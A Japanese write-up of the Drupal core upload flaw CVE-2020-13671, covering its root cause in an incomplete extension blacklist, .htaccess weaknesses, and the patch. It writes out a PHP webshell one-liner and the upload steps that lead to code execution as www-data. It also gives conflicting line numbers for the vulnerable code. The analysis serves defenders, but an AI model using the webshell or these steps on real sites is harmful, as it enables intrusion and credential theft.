
CVE-2020-13671(ファイルアップロードを介したDrupalコアのリモートコード実行の脆弱性)の詳細な分析と概念実証(PoC)。根本原因、悪用手順、および修復方法を含みます。
ソフトウェア: Drupal Core 8.7.5 (影響を受けるバージョン: 7.x < 7.78、8.x < 8.8.11、8.9.x < 8.9.9、9.0.x < 9.0.8)
CVSS: 8.8 (高)
CWE: CWE-434 — 危険なタイプのファイルの無制限アップロード
CISA KEV: 対象 — 既知の悪用済み脆弱性
Advisory: SA-CORE-2020-012
DrupalはPHPで書かれたオープンソースのコンテンツ管理システム(CMS)で、WordPressやJoomlaに似ていますが、エンタープライズ向けWebサイトや多言語プラットフォームなど、より複雑なシステムの構築に向いています。Drupalはモジュール式アーキテクチャを採用しており、利用可能なモジュールの有効化・無効化や、コミュニティ製の追加モジュールのインストールによって機能を拡張できます。
あらゆるCMSの基本機能の1つは、ユーザーによるファイルのアップロードです(プロフィール画像、添付ドキュメント、記事への添付ファイルなど)。Drupalはこれらのファイルをsites/default/files/ディレクトリに保存し、Webサーバー(ApacheまたはNginx)経由で直接配信します。
⇒ これは明確な攻撃対象領域を生み出します。攻撃者がそのディレクトリにPHPファイルをアップロードできた場合、Webサーバーは受信リクエスト経由でアクセスされたときにそのファイルを実行します。
これを防ぐため、Drupalは複数の防御レイヤーを構築しています。ファイル拡張子の検証、危険なファイルのリネーム、アップロードディレクトリでのスクリプト実行をブロックする.htaccessの配置です。しかしバージョン8.7.5では、攻撃者はこれらのレイヤーを横断するまさにその盲点を悪用します。
この脆弱性を悪用するには、ファイルアップロード権限を持つアカウントが必要です。Drupal 8.7.5のデフォルトでは、通常ユーザー(認証済み)はコンテンツの閲覧とコメント投稿の権限しか持っておらず、記事の作成やファイルのアップロードの権限はありません。
| アカウント | 悪用可能? | 説明 |
|---|---|---|
| 管理者 (Admin) | 可能 | 完全なアップロード権限 |
| 編集者 / コンテンツ作成者 | 可能 | 管理者によって「コンテンツ作成」権限とアップロード権限が付与されている場合 |
| 認証済みユーザー(デフォルト) | 不可 | デフォルトではコンテンツ作成やアップロードの権限なし |
| 匿名ユーザー(未ログイン) | 不可 | アップロード権限なし |
ただし実際には、多くのDrupalサイトでは通常ユーザーにコンテンツ作成権限を付与しています(フォーラム、コミュニティブログ、記事投稿を許可するニュースサイトなど)。そのような場合、攻撃者はアカウントを登録するだけで悪用できます。
攻撃フロー:
Attacker with upload-privileged account → Create article (Article)
→ Upload webshell.phtml via Image/File attachment field
→ Drupal saves the file with its original name into sites/default/files/
→ Attacker accesses the file URL → Apache executes PHP → RCE
core/modules/file/file.moduleファイルには、どのファイルが実行可能と見なされるかを決定する単一の正規表現があります。
define('FILE_INSECURE_EXTENSION_REGEX', '/\.(phar|php|pl|py|cgi|asp|js)(\.|$)/i');

この正規表現は7つの拡張子(phar、php、pl、py、cgi、asp、js)を列挙しています。このリストに一致する拡張子を持つファイルは、Drupalによって自動的に.txtが付加され、実行能力が無効化されます。
ただし、PHPエンジンは.phpファイルだけを処理するわけではありません。Webサーバーの設定によっては、他の拡張子も認識・実行します。
| 拡張子 | 意味 | 正規表現に含まれる? |
|---|---|---|
.php | PHP標準 | あり |
.phtml | PHP代替テンプレート | なし |
.php5 | PHP 5ハンドラー | なし |
.pht | PHPテンプレート | なし |
.phps | PHPソース | なし |
.shtml | Server-Side Includes(SSI) | なし |
5つのPHP拡張子バリアントが正規表現から完全に欠落しています。つまり、shell.phtmlという名前のファイルがDrupalに送信されると → 正規表現が一致しない → リネームされない → 元の名前のままアップロードディレクトリに保存される → Webサーバーが.phtmlを認識 → PHPとして実行 → 攻撃者がRCEを達成します。これが根本原因です:Drupalは危険な拡張子をブロックするためにブラックリストを使用していましたが、そのリストは不完全でした。
ユーザーがファイルをアップロードすると、Drupalは保存前に3つの検証関数を通過させます。以下は、.phtmlによって3つすべてがなぜ失敗するかの分析です。
file_munge_filename() (core/includes/file.inc)目的:ファイル名の中央に位置する危険な拡張子を検出し、_を付加して無効化すること。関数の動作:

$filename_parts = explode('.', $filename); // split filename by "."
$new_filename = array_shift($filename_parts); // get the first part = original name
$final_extension = array_pop($filename_parts); // get the last part = final extension
foreach ($filename_parts as $filename_part) {
// iterate over the MIDDLE parts
// if any part looks like a dangerous extension → append "_"
}
return $new_filename . '.' . $final_extension;
例えばshell.phtmlの場合:
explodeは["shell", "phtml"]に分割shiftは"shell"を取り出し、["phtml"]が残るpopは"phtml"を取り出し、[]が残るforeachは実行されない"shell.phtml"がそのまま返されるただし、ファイルが単一の拡張子しか持たない場合、この関数は介入しません。つまり、この関数は複数の拡張子を持つファイルのみを処理するように設計されています。
FILE_INSECURE_EXTENSION_REGEX (file.module:1015)これが主要な防御レイヤーです。1015行目のコード:

if (!\Drupal::config('system.file')->get('allow_insecure_uploads')
&& preg_match(FILE_INSECURE_EXTENSION_REGEX, $file->getFilename())
&& (substr($file->getFilename(), -4) != '.txt')) {
$file->setMimeType('text/plain');
$file->setFilename($file->getFilename() . '.txt');
}
ファイル名が正規表現に一致する場合 → MIMEをtext/plainに変更し、末尾に.txtを付加します。
shell.phtmlの場合:
preg_match('/\.(phar|php|pl|py|cgi|asp|js)(\.|$)/i', 'shell.phtml')は0を返す.phtmlの危険性を認識していないため、そのまま通過してしまいます。.htaccessDrupalはsites/default/files/に.htaccessファイルを配置します:
SetHandler Drupal_Security_Do_Not_Remove_See_SA_2006_006
<Files *>
SetHandler Drupal_Security_Do_Not_Remove_See_SA_2013_003
</Files>
<IfModule mod_php5.c>
php_flag engine off
</IfModule>
php_flag engine offディレクティブはディレクトリ全体のPHPエンジンをオフにしますが、これはmod_php5にのみ適用されます。Drupal 8.7.5はPHP 7で動作するため、mod_php7が有効であり、無効化されていません。
また、.htaccessには他にも3つの弱点があります:
.htaccessを読み取らない — このファイルはNginxでは完全に効果がありませんAllowOverride None**で設定されたApache → .htaccessは無視されますmod_phpの代わりにPHP-FPMを使用するサーバー → php_flagディレクティブは効果がありませんecho '<?php echo shell_exec($_GET["cmd"]); ?>' > webshell.phtml
アップロード権限を持つアカウントでDrupalにログイン → コンテンツ → コンテンツを追加 → 記事(Article)→ 画像フィールドでwebshell.phtmlファイルを選択 → アップロード。
Drupalはファイルを受け入れ、リネームせず、元の名前のままsites/default/files/に保存します。

その後、whoamiでシェル呼び出しを実行します:

このようにして、www-dataとしてRCEを達成しました。
さらに認証情報を表示するテスト:

攻撃者はデータベース認証情報を含むsettings.phpを読み取り、DB全体をダンプし、リバースシェルを仕掛け、rootへの権限昇格を行うことができます。
正規表現を更新 — 欠落している5つの拡張子を追加:
// Before:
'/\.(phar|php|pl|py|cgi|asp|js)(\.|$)/i'
// After:
'/\.(phar|php|pl|py|cgi|asp|js|phtml|php5|pht|phps|shtml)(\.|$)/i'
.htaccessを更新 — mod_php7の無効化を追加:
<IfModule mod_php7.c>
php_flag engine off
</IfModule>
このパッチは機能しますが、依然としてブラックリストに依存しています。将来新しい拡張子が登場した場合(.php8、.phptなど)、正規表現を再度更新する必要があります。既知の安全な拡張子のみを許可するホワイトリスト方式の方が、より徹底したアプローチです。
| 脆弱なファイル | core/modules/file/file.module 28行目 |
|---|---|
| 根本原因 | 正規表現のブラックリストに.phtml、.php5、.pht、.phps、.shtmlが欠落 |
| 影響 | .phtmlをアップロード → サーバーが実行 → RCE |
| 迂回された3つの防御レイヤー | file_munge_filename() → FILE_INSECURE_EXTENSION_REGEX → .htaccess |
| パッチ | 正規表現に5つの拡張子を追加 + .htaccessでmod_php7を無効化 |